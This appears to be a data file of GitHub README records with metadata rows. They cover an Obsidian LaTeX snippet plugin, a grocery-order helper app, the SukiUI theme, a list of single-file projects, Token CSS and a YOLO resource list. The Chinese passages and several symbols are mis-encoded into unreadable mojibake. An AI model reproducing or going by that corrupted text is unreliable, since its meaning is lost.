- "xsr" โ "x^{2}".
- "x/y <kbd>Tab</kbd>" โ "\\frac{x}{y}".
- "sin @t" โ "\\sin \\theta".
**Have a look at the [cheatsheet](#cheatsheet)** for a list of commonly used default snippets.
Once these feel familiar, you can check out the [default snippets](https://github.com/artisticat1/obsidian-latex-suite/blob/main/src/default_snippets.js) for more commands. e.g.
- "par <kbd>Tab</kbd> f <kbd>Tab</kbd> x <kbd>Tab</kbd>" โ "\\frac{\\partial f}{\\partial x}".
- "dint <kbd>Tab</kbd> 2pi <kbd>Tab</kbd> sin @t <kbd>Tab</kbd> @t <kbd>Tab</kbd>" โ "\\int_{0}^{2\pi} \\sin \\theta \\, d\\theta".
You can also add your own snippets! [See here for more info on writing snippets](#snippets). You can [view snippets written by others and share your own snippets here](https://github.com/artisticat1/obsidian-latex-suite/discussions/50).
## Features
### Auto-fraction
Lets you type "1/x" instead of "\frac{1}{x}".
For example, it makes the following expansions:
- `x/` โ `\frac{x}{}`
- `(a + b(c + d))/` โ `\frac{a + b(c + d)}{}`
and moves the cursor inside the brackets.
Once done typing the denominator, press <kbd>Tab</kbd> to exit the fraction.
### Matrix shortcuts
While inside a matrix, array, align, or cases environment,
- Pressing <kbd>Tab</kbd> will insert the "&" symbol
- Pressing <kbd>Enter</kbd> will insert "\\\\" and move to a new line
- Pressing <kbd>Shift + Enter</kbd> will move to the end of the next line (can be used to exit the matrix)
### Conceal
*This feature must be enabled in settings!*
Make your equations more readable by hiding LaTeX code, instead rendering it in a pretty format.
For example, "\dot{x}^{2} + \dot{y}^{2}" will be displayed as "แบยฒ + แบยฒ".
To reveal the LaTeX code, move the cursor over it.
### Tabout
- Pressing <kbd>Tab</kbd> while the cursor is at the end of an equation will move the cursor outside the $ symbols.
- Otherwise, pressing <kbd>Tab</kbd> will advance the cursor to the next closing bracket: ), ], }, >, or |.
### Preview inline math
When the cursor is inside inline math, a popup window showing the rendered math will be displayed.
<img width=500 src="https://raw.githubusercontent.com/artisticat1/obsidian-latex-suite/main/gifs/inline_math_preview_1.png">
<img width=650 src="https://raw.githubusercontent.com/artisticat1/obsidian-latex-suite/main/gifs/inline_math_preview_2.png">
### Color & highlight matching brackets
- Matching brackets are rendered in the same color, to help with readability.
- When the cursor is adjacent to a bracket, that bracket and its pair will be highlighted.
- When the cursor is inside brackets, the enclosing brackets will be highlighted.
### Visual snippets
Sometimes you want to annotate math, or cancel or cross out terms. Selecting some math with the cursor and typing
- "U" will surround it with "\\underbrace".
- "O" will surround it with "\\overbrace".
- "C" will surround it with "\\cancel".
- "K" will surround it with "\\cancelto".
- "B" will surround it with "\\underset".
### Auto-enlarge brackets
When a snippet containing "\\sum", "\\int" or "\\frac" is triggered, any enclosing brackets will be enlarged with "\\left" and "\\right".
### Editor commands
- Box current equation โ surround the equation the cursor is currently in with a box.
- Select current equation โ select the equation the cursor is currently in.
### Snippets
Snippets are formatted as follows:
```typescript
{
trigger: string | RegExp,
replacement: string,
options: string,
priority?: number,
description?: string,
flags?: string,
}
```
- `trigger` : The text that triggers this snippet.
- Triggers can also be regular expressions. [See here for more info.](./DOCS.md#regex-snippets)
- `replacement` : The text to replace the `trigger` with.
- Replacements can also be JavaScript functions. [See here for more info.](./DOCS.md#function-snippets)
- `options` : See below.
- `priority` (optional): This snippet's priority. Snippets with higher priority are run first. Can be negative. Defaults to 0.
- `description` (optional): A description for this snippet.
- `flags` (optional): Flags for regex snippets.
#### Options
- `t` : Text mode. Only run this snippet outside math
- `m` : Math mode. Only run this snippet inside math. Shorthand for both `M` and `n`
- `M` : Block math mode. Only run this snippet inside a `$$ ... $$` block
- `n` : Inline math mode. Only run this snippet inside a `$ ... $` block
- `A` : Auto. Expand this snippet as soon as the trigger is typed. If omitted, the <kbd>Tab</kbd> key must be pressed to expand the snippet
- `r` : [Regex](./DOCS.md#regex-snippets). The `trigger` will be treated as a regular expression
- `v` : [Visual](./DOCS.md#visual-snippets). Only run this snippet on a selection. The trigger should be a single character
- `w` : Word boundary. Only run this snippet when the trigger is preceded (and followed by) a word delimiter, such as `.`, `,`, or `-`.
- `c` : Code mode. Only run this snippet inside a ```` ``` ... ``` ```` block
Insert **tabstops** for the cursor to jump to by writing "$0", "$1", etc. in the `replacement`.
For more details on writing snippets, including **regex** snippets and **function** snippets, [see the **documentation** here](DOCS.md). You can [view snippets written by others and share your own snippets here](https://github.com/artisticat1/obsidian-latex-suite/discussions/50).
> [!WARNING]
> Snippet files are interpreted as JavaScript and can execute arbitrary code.
> Always be careful with snippets shared from others to avoid running malicious code.
## Cheatsheet
| Trigger | Replacement |
| ------------------ | ---------------- |
| mk | \$ \$ |
| dm | \$\$<br><br>\$\$ |
| sr | ^{2} |
| cb | ^{3} |
| rd | ^{ } |
| \_ | \_{ } |
| sq | \\sqrt{ } |
| x/y <kbd>Tab</kbd> | \\frac{x}{y} |
| // | \\frac{ }{ } |
| " | \\text{ } |
| text | \\text{ } |
| x1 | x_{1} |
| x,. | \\mathbf{x} |
| x., | \\mathbf{x} |
| xdot | \\dot{x} |
| xhat | \\hat{x} |
| xbar | \\bar{x} |
| xvec | \\vec{x} |
| xtilde | \\tilde{x} |
| xund | \\underline{x} |
| ee | e^{ } |
| invs | ^{-1} |
When running a snippet that **moves the cursor inside brackets {}, press <kbd>Tab</kbd> to exit the brackets**.
### Greek letters
| Trigger | Replacement | Trigger | Replacement |
| ------- | ------------ | ------- | ----------- |
| @a | \\alpha | eta | \\eta |
| @b | \\beta | mu | \\mu |
| @g | \\gamma | nu | \\nu |
| @G | \\Gamma | xi | \\xi |
| @d | \\delta | Xi | \\Xi |
| @D | \\Delta | pi | \\pi |
| @e | \\epsilon | Pi | \\Pi |
| :e | \\varepsilon | rho | \\rho |
| @z | \\zeta | tau | \\tau |
| @t | \\theta | phi | \\phi |
| @T | \\Theta | Phi | \\Phi |
| @k | \\kappa | chi | \\chi |
| @l | \\lambda | psi | \\psi |
| @L | \\Lambda | Psi | \\Psi |
| @s | \\sigma | | |
| @S | \\Sigma | | |
| @o | \\omega | | |
| ome | \\omega | | |
For greek letters with short names (2-3 characters), just type their name,
e.g. "pi" โ "\\pi"
## Contributing
Any contributions and PRs are welcome!
## Acknowledgements
- [@tth05](https://github.com/tth05)'s [Obsidian Completr](https://github.com/tth05/obsidian-completr) for the basis of the tabstop code
- [Dynamic Highlights](https://github.com/nothingislost/obsidian-dynamic-highlights/blob/master/src/settings/ui.ts) for reference
- [Quick Latex for Obsidian](https://github.com/joeyuping/quick_latex_obsidian) for inspiration
## Support
If you like this plugin and want to say thanks, you can buy me a coffee here!
<a href='https://ko-fi.com/J3J6BBZAW' target='_blank'><img height='56' style='border:0px;height:56px;' src='https://cdn.ko-fi.com/cdn/kofi1.png?v=3' border='0' alt='Buy Me a Coffee at ko-fi.com' /></a>
| Make typesetting LaTeX as fast as handwriting through snippets, text expansion, and editor enhancements | latex,obsidian,obsidian-plugin,snippets,math,obsidian-md,text-expansion | 55 | 17 | 43 | 606 | 99 | 1 | 1 |
Skykai521/DingDongHelper | # DingDongHelper
### ๅฎๅไนฐ่ๆข่ๆไปถ Only support Android
### ้่ฆๆ็คบ
**1. ๆไปถๆฏๆๅจไธๅๆดๆ
ข๏ผไธๆจ่ๅจ้ซๅณฐๆไฝฟ็จ๏ผๅฏไปฅๅจ้ซๅณฐๆ่ฟๅๅฐ่ฏ๏ผไฝไนๆ ๆณไฟ่ฏ100%ไธๅๆๅใ**
**2. ๆไปถไธไฟ่ฏๅ
ผๅฎนๆๆๆบๅไธๅฎๅ็ๆฌ๏ผๅฆๆๅ็ฐๆ ๆณไฝฟ็จ๏ผ่ฏทๅๆถๅธ่ฝฝใ**
### ไธ่ฝฝ
1. [https://github.com/Skykai521/DingDongHelper/blob/main/app/release/app-release.apk](https://github.com/Skykai521/DingDongHelper/blob/main/app/release/app-release.apk)
2. ๅ
ณๆณจๅ
ฌไผๅท๏ผ**SkyKai** ใๅๅค๏ผ**ๅฎๅๅฉๆ**
### ็ๆ่ฏดๆ
**ๆฌ้กน็ฎไธบ GPL3.0 ๅ่ฎฎ๏ผ่ฏทๆๆ่ฟ่กไบๆฌกๅผๅ็ๅผๅ่
้ตๅฎ GPL3.0ๅ่ฎฎ๏ผๅนถไธไธๅพๅฐไปฃ็ ็จไบๅ็จใ**
| ๅฎๅไนฐ่ๆข่ๆไปถ | null | 0 | 2 | 1 | 10 | 0 | 1 | 0 |
kikipoulet/SukiUI | <div id="header" align="center">
<img src="https://raw.githubusercontent.com/kikipoulet/SukiUI/main/Images/OIG.N5o-removebg-preview.png" ></img>
<h3>Suki UI</h3>
<h4><i>A Desktop UI Library for <a href="https://avaloniaui.net/">Avalonia</a></i></h4>
<div id="badges" >
<a href="https://github.com/kikipoulet/SukiUI/wiki/1.-Installation"><img src="https://img.shields.io/badge/GET%20STARTED-purple?style=for-the-badge" alt="Get Started"/></a>
<a href="https://www.nuget.org/packages/SukiUI"><img src="https://img.shields.io/nuget/vpre/SukiUI?style=for-the-badge" alt="Nuget Pre"/></a>
<a href="https://github.com/kikipoulet/SukiUI/blob/main/LICENSE"><img src="https://img.shields.io/github/license/kikipoulet/SukiUI?style=for-the-badge" alt="License"/></a>
</div>
</div>
<br/>
#### Try our Controls Gallery App on Microsoft Store !
<span>
<a href="https://apps.microsoft.com/detail/9NM01BJ6JTTF?hl=en-us&gl=US">
<img src="https://get.microsoft.com/images/en-us%20light.svg" alt="Download SukiUI Controls Gallery" />
</a>
</span>
<br/>
<br/>
### โจ Upcoming : Use [Dock](https://github.com/wieslawsoltes/Dock) library with SukiUI !
<br/>
Credits to @wieslawsoltes for the Dock library.
<br/>
## ๐ Documentation
[Wiki](https://github.com/kikipoulet/SukiUI/wiki)
[SukiUI Documentation](https://kikipoulet.github.io/SukiUI/) *Work in Progress* ๐
<br/><br/>
## ๐ฑ UI Theme
##### SukiUI contains a theme for AvaloniaUI's base controls with support for Light/Dark themes.
##### SukiUI offers the ability to choose and switch between different color themes, as well as create custom ones.
## ๐น Rich Animations
##### SukiUI places special emphasis on creating rich and intuitive animations for the themed controls.
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/40c93232-c45a-4dd7-b559-e8e22cff9748" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/36b1a516-2f16-4d0d-82b2-df59003e2ec6" ></img>
</kbd>
## ๐จ Additional Controls
##### SukiUI contains additional controls to offer the possibility to make rich and diversified User Interface.
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/0499e9bb-2187-4c52-bbe2-ac38260dabfa" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/0dc7a093-408e-4560-b57a-07d427f64f86" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/88095be5-565c-4aa2-bddc-ee040ea67ebe" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/ac1f43e2-f7cd-4ac7-b64d-e83b5952b019" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/a07a5a38-eccf-47a0-b992-abc41d7ee70d" ></img>
</kbd>
## โ UI Functionalities
##### SukiUI offer an easy way to display Dialog and Notifications in your application.
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/b29ae757-9d6a-461a-bd6f-6949c3f0ccec" ></img>
</kbd>
<kbd>
<img src="https://github.com/kikipoulet/SukiUI/assets/19242427/60b7d946-e7b1-42b8-8aca-487f92a50ac2" ></img>
</kbd>
| UI Theme for AvaloniaUI | null | 1 | 15 | 102 | 827 | 11 | 2 | 2 |
521xueweihan/OneFile |
# OneFile
<p align="center">
<img src="https://cdn.jsdelivr.net/gh/521xueweihan/img_logo@main/logo/onefile.png"/>
<br>็จไธไธชๆไปถ๏ผๆ่ณๆๆไบบ๏ผ
</p>
<p align="center">
<a href="https://cdn.jsdelivr.net/gh/521xueweihan/img_logo@main/logo/weixin.png"><img src="https://img.shields.io/badge/Talk-%E5%BE%AE%E4%BF%A1%E7%BE%A4-brightgreen.svg?style=popout-square" alt="WeiXin"></a>
<a href="https://github.com/521xueweihan/OneFile/stargazers"><img src="https://img.shields.io/github/stars/521xueweihan/OneFile.svg?style=popout-square" alt="GitHub stars"></a>
<a href="https://weibo.com/hellogithub"><img src="https://img.shields.io/badge/%E6%96%B0%E6%B5%AA-Weibo-red.svg?style=popout-square" alt="Sina Weibo"></a>
</p>
## ไป็ป
OneFile ๆฑ้ไบไธไธชๆไปถใ่ฟ่ก็ฎๅใไธ็ๅฐฑๆ็ๅผๆบ้กน็ฎใๅ
ๆฌๆธธๆใ็ผ่ฏๅจใๆๅกๅจใๅทฅๅ
ทใๅฎ็จๅบ็ญ๏ผๅฎไปฌ็ฎๅๆ่ถฃ**ๅคๅถไปฃ็ ๅฐฑ่ฝ่ท**๏ผ่ฝๅค่ฎฉไฝ ็ฌ้ดๆพๅฐ็ผ็จ็ไน่ถฃใ็จๅบ่ฟ่กๆๅ็ๅฟซไน๏ผ
## ้กน็ฎ
[็นๅปๅ ๅ
ฅ](https://github.com/521xueweihan/OneFile/blob/main/doc/join.md) OneFile ็ผ็จๆๆ๏ผๅไฝ ๆๅ
ด่ถฃ็ไปฃ็ ใๅไธๅผๆบๅช้ไธไธชๆไปถ๏ผ[็นๅป](https://hellogithub.yuque.com/forms/share/4f0bf06b-2991-4f7e-a860-5b76337b7b5b) ๆไบคไฝ ็ไปฃ็ ๅงใ
| ๅ็งฐ | ่ฏญ่จ | ๆ่ฟฐ | ๆไฝ |
| ------- | ----- | ------------ | --------- |
| [tinyhttpd](https://github.com/EZLippi/Tinyhttpd) | C | ไธๅฐ 500 ่ก็่ถ
่ฝป้ๅ HTTP Server... | [ๆบ็ ](https://hellogithub.com/onefile/code/7e574fc7d58d4fae950a95d7bdb87d09) |
| [si78c](https://github.com/loadzero/si78c) | C | ็จ C ่ฏญ่จๅฎ็ฐ็ใๅคช็ฉบไพต็ฅ่
ใๅฝไปค่กๆธธๆ | [ๆบ็ ](https://hellogithub.com/onefile/code/cb8e4fbc5a174664ac325a521ee6d02f) |
| [minilisp](https://github.com/rui314/minilisp) | C | ็จ C ่ฏญ่จๅ็ Lisp ่งฃ้ๅจใๅฎ็ฐไบๆดๆฐใ็ฌฆ... | [ๆบ็ ](https://hellogithub.com/onefile/code/9a51afad2a7e49fb8dd79136866674f4) |
| [cJSON](https://github.com/DaveGamble/cJSON) | C | ๆ ๅ C(C89) ๅฎ็ฐ็่ถ
่ฝป้็ JSON ่งฃๆ... | [ๆบ็ ](https://hellogithub.com/onefile/code/2f497887abdb44879e3d523981dae933) |
| [filedb](https://github.com/LiuYuguang/supersimplefiledatabase) | C | ๅบไบB-tree ็ๆไปถๆฐๆฎๅบ | [ๆบ็ ](https://hellogithub.com/onefile/code/3ed05321bf5f483dbdcbea636ca4b914) |
| [threadpoll](https://github.com/progschj/ThreadPool) | C++ | ไธไธช็ฎๅ็ C++11 ็บฟ็จๆฑ ๅฎ็ฐ | [ๆบ็ ](https://hellogithub.com/onefile/code/d0c3498b528f485996c9dc5dc4dfa4cb) |
| [minesweeper](https://github.com/521xueweihan/OneFile/blob/main/src/html/minesweeper.html) | HTML | ๆซ้ทๆธธๆ | [่ฏ็ฉ](https://hellogithub.com/onefile/demo/e235d1d133134aea93ca6cdf2ed4fc5d.html) |
| [2048](https://github.com/521xueweihan/OneFile/blob/main/src/html/2048.html) | HTML | 2048 ๆธธๆ | [่ฏ็ฉ](https://hellogithub.com/onefile/demo/8d627fe4cfa540b19dcd04d4327cf26c.html) |
| [ascii-cam](https://github.com/521xueweihan/OneFile/blob/main/src/html/ascii-cam.html) | HTML | ๆ่ง้ขๅพๅ่ฝฌๆ ascii | [่ฏ็ฉ](https://hellogithub.com/onefile/demo/126093303b6b414dbab9d623c957fdd4.html) |
| [looptap](https://github.com/vasanthv/looptap) | HTML | ๆถ็ฃจๆถ้ด็ๅฐๆธธๆ๏ผๆ็ๅๅจๆ้ข่ฒๅบๅ | [่ฏ็ฉ](https://hellogithub.com/onefile/demo/cc759276aefe4bad87ac259940042581.html) |
| [the-super-tiny-compiler](https://github.com/jamiebuilds/the-super-tiny-compiler) | JavaScript | ไบบไบบ้ฝ่ฝ็ๆ็ๅพฎๅ็ผ่ฏๅจ | [ๆบ็ ](https://hellogithub.com/onefile/code/b4c7642fae544a0f8e7bc8e4d9971d52) |
| [pico](https://github.com/nenadmarkus/picojs) | JavaScript | 200 ่กๅฎ็ฐ็้ข้จ่ฏๅซๅบ | [ๆบ็ ](https://hellogithub.com/onefile/code/2bcbe06dbcbb48078f2307379068e6e6) |
| [parsedown](https://github.com/erusev/parsedown) | PHP | ไธไธชๅฐ่็พ็ PHP ็ Markdown ่งฃๆๅบ | [ๆบ็ ](https://hellogithub.com/onefile/code/12026fcae79e4cc08793246b5b55817a) |
| [httpstat](https://github.com/reorx/httpstat) | Python | ็จๆดไผ้
็ๆนๅผๅฑ็คบ curl ็ปๆ็ๅฝไปค่กๅทฅๅ
ท | [ๆบ็ ](https://hellogithub.com/onefile/code/7c6847a33f1245608ae9abf4e59a03b8) |
| [py2sec](https://github.com/cckuailong/py2sec) | Python | ไธๆฌพ่ฝป้็บง่ทจๅนณๅฐ Python โๅ ๅฏโใๅ ้็่... | [ๆบ็ ](https://hellogithub.com/onefile/code/3e608cc323e84f15887461f1d3e71677) |
| [tomato-clock](https://github.com/coolcode/tomato-clock) | Python | Python ๅ็ๅฝไปค่ก็ช่ๅทฅไฝๆณๅฎๆถๅจ | [ๆบ็ ](https://hellogithub.com/onefile/code/05d586dfd389413da47ffdbc806196cc) |
| [share](https://github.com/beavailable/share) | Python | ๅบไบ HTTP ๅ่ฎฎ็ๆไปถๅไบซๅทฅๅ
ท | [ๆบ็ ](https://hellogithub.com/onefile/code/9b3c14d37aa5434182244de6ad947b97) |
| [web-server](https://github.com/521xueweihan/OneFile/blob/main/src/python/web-server.py) | Python | ไธไธช็ฎๅ็ Web ๆกๆถ | [ๆบ็ ](https://hellogithub.com/onefile/code/96c0137112cf4d15af8008f99d793a1a) |
## ๆดๆฐ่ฎกๅ
- ๅขๅ ๆ็ฅจ
- ๅข่ฎพๅฅ้๏ผ่ตๅฉ่ฏท<a href="mailto:595666367@qq.com">่็ณปๆ</a>๏ผ
- ่ฑๆๆ่ฟฐ
## ๅฃฐๆ
<a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh"><img alt="็ฅ่ฏๅ
ฑไบซ่ฎธๅฏๅ่ฎฎ" style="border-width: 0" src="https://licensebuttons.net/l/by-nc-nd/4.0/88x31.png"></a><br>ๆฌไฝๅ้็จ <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/deed.zh">็ฝฒๅ-้ๅไธๆงไฝฟ็จ-็ฆๆญขๆผ็ป 4.0 ๅฝ้
</a> ่ฟ่ก่ฎธๅฏใ
| ๅชๆไธไธชๆไปถ๏ผ | null | 0 | 5 | 10 | 43 | 0 | 1 | 0 |
tokencss/tokencss | # Token CSS
Token CSS is a new tool that seamlessly integrates [Design Tokens](https://design-tokens.github.io/community-group/format/#design-token) into your development workflow. Conceptually, it is similar to tools
like [Tailwind](https://tailwindcss.com), [Styled System](https://styled-system.com/), and many CSS-in-JS libraries that provide tokenized _constraints_ for your styles—but there's one big difference.
**Token CSS embraces `.css` files and `<style>` blocks.**
## Installation
Building your site with [Astro](https://astro.build)? Use the official Astro integration.
```shell
npm run astro add @tokencss/astro
```
Otherwise, install `@tokencss/postcss` and add it to your PostCSS configuration.
```shell
npm install @tokencss/postcss
```
```js
const tokencss = require("@tokencss/postcss");
module.exports = {
plugins: [tokencss()],
};
```
## Configuration
Create a `token.config.json` file in the root of your project—the `@tokencss/postcss` plugin will automatically pick this up.
> **Warning**: It is intended that this file will follow the final [Design Tokens Format Module](https://design-tokens.github.io/community-group/format/), but we are currently following an older draft version of the spec. Expect breaking changes as we attempt to stay in sync with the latest version!
You may either extend our built-in [Preset](https://github.com/tokencss/tokencss/blob/main/packages/core/preset/token.config.json)...
```json
{
"$schema": "https://tokencss.com/schema@0.0.1",
"extends": ["@tokencss/core/preset"]
}
```
Or create your own file from scratch.
```json
{
"$schema": "https://tokencss.com/schema@0.0.1",
"extends": ["@tokencss/core"],
"color": {
"gray": {
"0": { "value": "#f8f9fa" },
"1": { "value": "#f1f3f5" },
"2": { "value": "#e9ecef" },
"3": { "value": "#dee2e6" },
"4": { "value": "#ced4da" },
"5": { "value": "#adb5bd" },
"6": { "value": "#868e96" },
"7": { "value": "#495057" },
"8": { "value": "#343a40" },
"9": { "value": "#212529" }
}
},
"space": {
"2xs": { "value": ".25rem" },
"xs": { "value": ".5rem" },
"sm": { "value": "1rem" },
"md": { "value": "1.25rem" },
"lg": { "value": "1.5rem" },
"xl": { "value": "1.75rem" },
"2xl": { "value": "2rem" },
"3xl": { "value": "3rem" },
"4xl": { "value": "4rem" },
"5xl": { "value": "5rem" },
"6xl": { "value": "7.5rem" },
"7xl": { "value": "10rem" },
"8xl": { "value": "15rem" },
"9xl": { "value": "20rem" },
"10xl": { "value": "30rem" }
},
"size": {
"full": { "value": "100%" },
"2xs": { "value": ".25rem" },
"xs": { "value": ".5rem" },
"sm": { "value": "1rem" },
"md": { "value": "1.25rem" },
"lg": { "value": "1.5rem" },
"xl": { "value": "1.75rem" },
"2xl": { "value": "2rem" },
"3xl": { "value": "3rem" },
"4xl": { "value": "4rem" },
"5xl": { "value": "5rem" },
"6xl": { "value": "7.5rem" },
"7xl": { "value": "10rem" },
"8xl": { "value": "15rem" },
"9xl": { "value": "20rem" },
"10xl": { "value": "30rem" }
},
"width": {
"screen": { "value": "100vw" }
},
"height": {
"screen": { "value": "100vh" }
},
"radius": {
"none": { "value": "0px" },
"sm": { "value": "0.125rem" },
"default": { "value": "0.25rem" },
"md": { "value": "0.375rem" },
"lg": { "value": "0.5rem" },
"xl": { "value": "0.75rem" },
"2xl": { "value": "1rem" },
"3xl": { "value": "1.5rem" },
"full": { "value": "9999px" }
},
"shadow": {
"default": {
"value": [
{
"offset-x": "0px",
"offset-y": "1px",
"blur": "3px",
"spread": "0px",
"color": "#000",
"opacity": 0.1
},
{
"offset-x": "0px",
"offset-y": "1px",
"blur": "2px",
"spread": "-1px",
"color": "#000",
"opacity": 0.1
}
]
}
},
"font": {
"sans": {
"value": [
"system-ui",
"-apple-system",
"Segoe UI",
"Roboto",
"Ubuntu",
"Cantarell",
"Noto Sans",
"sans-serif"
]
}
},
"font-size": {
"xs": { "value": "0.75rem" },
"sm": { "value": "0.875rem" },
"default": { "value": "1rem" },
"lg": { "value": "1.125rem" },
"xl": { "value": "1.25rem" },
"2xl": { "value": "1.5rem" },
"3xl": { "value": "1.875rem" },
"4xl": { "value": "2.25rem" },
"5xl": { "value": "3rem" },
"6xl": { "value": "3.75rem" },
"7xl": { "value": "4.5rem" },
"8xl": { "value": "6rem" },
"9xl": { "value": "8rem" }
},
"font-weight": {
"thin": { "value": 100 },
"extralight": { "value": 200 },
"light": { "value": 300 },
"normal": { "value": 400 },
"medium": { "value": 500 },
"semibold": { "value": 600 },
"bold": { "value": 700 },
"extrabold": { "value": 800 },
"black": { "value": 900 }
},
"line-height": {
"none": { "value": 1 },
"tight": { "value": 1.25 },
"snug": { "value": 1.375 },
"normal": { "value": 1.5 },
"relaxed": { "value": 1.625 },
"loose": { "value": 2 }
},
"letter-spacing": {
"tighter": { "value": "-0.05em" },
"tight": { "value": "-0.025em" },
"normal": { "value": "0em" },
"wide": { "value": "0.025em" },
"wider": { "value": "0.05em" },
"widest": { "value": "0.1em" }
},
"easing": {
"cubic": {
"in": { "value": [0.32, 0, 0.67, 0] },
"out": { "value": [0.33, 1, 0.68, 1] },
"in-out": { "value": [0.65, 0, 0.35, 1] }
}
}
}
```
## Setup
> **Note:** Using Astro? You can skip this step! Token variables are automatically injected by the integration.
If you are using our plain PostCSS setup, you should include the following line in the root of your stylesheet. This will inject `--custom-property` declarations for all of your tokens.
```css
@inject "tokencss:base";
```
## Usage
You're ready to use tokens in your CSS!
```css
.box {
background: red.5;
border-radius: md;
width: lg;
height: lg;
/* Custom Properties are also supported! */
--color: blue.6;
--margin: sm;
}
```
## Editor integration
Be sure to install our [Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=tokencss.tokencss-vscode) extension for the best experience.
| null | null | 13 | 1 | 9 | 66 | 19 | 3 | 1 |
codingonion/awesome-yolo-object-detection | # Awesome-YOLO-Object-Detection
[](https://github.com/sindresorhus/awesome)
๐๐๐ YOLO is a great real-time one-stage object detection framework. This repository lists some awesome public YOLO object detection series projects.
## Contents
- [Awesome-YOLO-Object-Detection](#awesome-yolo-object-detection)
- [Summary](#summary)
- [Official YOLO](#official-yolo)
- [Awesome List](#awesome-list)
- [Paper and Code Overview](#paper-and-code-overview)
- [Paper Review](#paper-review)
- [Code Review](#code-review)
- [Learning Resources](#learning-resources)
- [Extensional Frameworks](#extensional-frameworks)
- [Other Versions of YOLO](#other-versions-of-yolo)
- [PyTorch Implementation](#pytorch-implementation)
- [C Implementation](#c-implementation)
- [CPP Implementation](#cpp-implementation)
- [ROS Implementation](#ros-implementation)
- [Mojo Implementation](#mojo-implementation)
- [Rust Implementation](#rust-implementation)
- [Go Implementation](#go-implementation)
- [CSharp Implementation](#csharp-implementation)
- [Tensorflow and Keras Implementation](#tensorflow-and-keras-implementation)
- [PaddlePaddle Implementation](#paddlepaddle-implementation)
- [Caffe Implementation](#caffe-implementation)
- [MXNet Implementation](#mxnet-implementation)
- [Web Implementation](#web-implementation)
- [Others](#others)
- [Lighter and Deployment Frameworks](#lighter-and-deployment-frameworks)
- [Lightweight Backbones and FPN](#lightweight-backbones-and-fpn)
- [Pruning Knoweldge-Distillation Quantization](#pruning-knoweldge-distillation-quantization)
- [Pruning](#pruning)
- [Quantization](#quantization)
- [Knoweldge-Distillation](#knoweldge-distillation)
- [High-performance Inference Engine](#high-performance-inference-engine)
- [ONNX](#onnx)
- [TensorRT](#tensorrt)
- [OpenVINO](#openvino)
- [NCNN](#ncnn)
- [MNN](#mnn)
- [DeepStream](#deepstream)
- [Other Engine](#other-engine)
- [FPGA TPU NPU Hardware Deployment](#fpga-tpu-npu-hardware-deployment)
- [FPGA](#fpga)
- [Other Hardware](#other-hardware)
- [Applications](#applications)
- [Video Object Detection](#video-object-detection)
- [Object Tracking](#object-tracking)
- [Multi-Object Tracking](#multi-object-tracking)
- [Dynamic Object Tracking](#Dynamic-object-tracking)
- [Deep Reinforcement Learning](#deep-reinforcement-learning)
- [Motion Control Field](#motion-control-field)
- [Super-Resolution Field](#super-resolution-field)
- [Spiking Neural Network](#spiking-neural-network)
- [Attention and Transformer](#attention-and-transformer)
- [Small Object Detection](#small-object-detection)
- [Few-shot Object Detection](#few-shot-object-detection)
- [Open World Object Detection](#open-world-object-detection)
- [Oriented Object Detection](#oriented-object-detection)
- [Face Detection and Recognition](#face-detection-and-recognition)
- [Face Detection](#face-detection)
- [Face Recognition](#face-recognition)
- [Face Mask Detection](#face-mask-detection)
- [Social Distance Detection](#social-distance-detection)
- [Autonomous Driving Field Detection](#autonomous-driving-field-detection)
- [Vehicle Detection](#vehicle-detection)
- [License Plate Detection and Recognition](#license-plate-detection-and-recognition)
- [Lane Detection](#lane-detection)
- [Driving Behavior Detection](#driving-behavior-detection)
- [Parking Slot Detection](#parking-slot-detection)
- [Traffic Light Detection](#traffic-light-detection)
- [Traffic Sign Detection](#traffic-sign-detection)
- [Crosswalk Detection](#crosswalk-detection)
- [Traffic Accidents Detection](#traffic-accidents-detection)
- [Road Damage Detection](#road-damage-detection)
- [Animal Detection](#animal-detection)
- [Helmet Detection](#helmet-detection)
- [Hand Detection](#hand-detection)
- [Gesture Recognition](#gesture-recognition)
- [Action Detection](#action-detection)
- [Emotion Recognition](#emotion-recognition)
- [Human Pose Estimation](#human-pose-estimation)
- [Distance Measurement](#distance-measurement)
- [Instance and Semantic Segmentation](#instance-and-semantic-segmentation)
- [3D Object Detection](#3d-object-detection)
- [SLAM Field Detection](#slam-field-detection)
- [Industrial Defect Detection](#industrial-defect-detection)
- [SAR Image Detection](#sar-image-detection)
- [Multispectral Image Fusion Detection](#multispectral-image-fusion-detection)
- [Safety Monitoring Field Detection](#safety-monitoring-field-detection)
- [Medical Field Detection](#medical-field-detection)
- [Chemistry Field Detection](#chemistry-field-detection)
- [Agricultural Field Detection](#agricultural-field-detection)
- [Sports Field Detection](#sports-field-detection)
- [Adverse Weather Conditions](#adverse-weather-conditions)
- [Adversarial Attack and Defense](#adversarial-attack-and-defense)
- [Game Field Detection](#game-field-detection)
- [Automatic Annotation Tools](#automatic-annotation-tools)
- [Feature Map Visualization](#feature-map-visualization)
- [Object Detection Evaluation Metrics](#object-detection-evaluation-metrics)
- [GUI](#gui)
- [Streamlit-Related](#streamlit-related)
- [Gradio-Related](#gradio-related)
- [QT-Related](#qt-related)
- [PySide-Related](#pyside-related)
- [Flutter-Related](#flutter-related)
- [Slint-Related](#slint-related)
- [Other Applications](#other-applications)
- [Blogs](#blogs)
- [Videos](#videos)
## Summary
- ### Official YOLO
- [YOLOv1](https://pjreddie.com/darknet/yolov1) ([Darknet](https://github.com/pjreddie/darknet) <img src="https://img.shields.io/github/stars/pjreddie/darknet?style=social"/>) : "You Only Look Once: Unified, Real-Time Object Detection". (**[CVPR 2016](https://www.cv-foundation.org/openaccess/content_cvpr_2016/html/Redmon_You_Only_Look_CVPR_2016_paper.html)**)
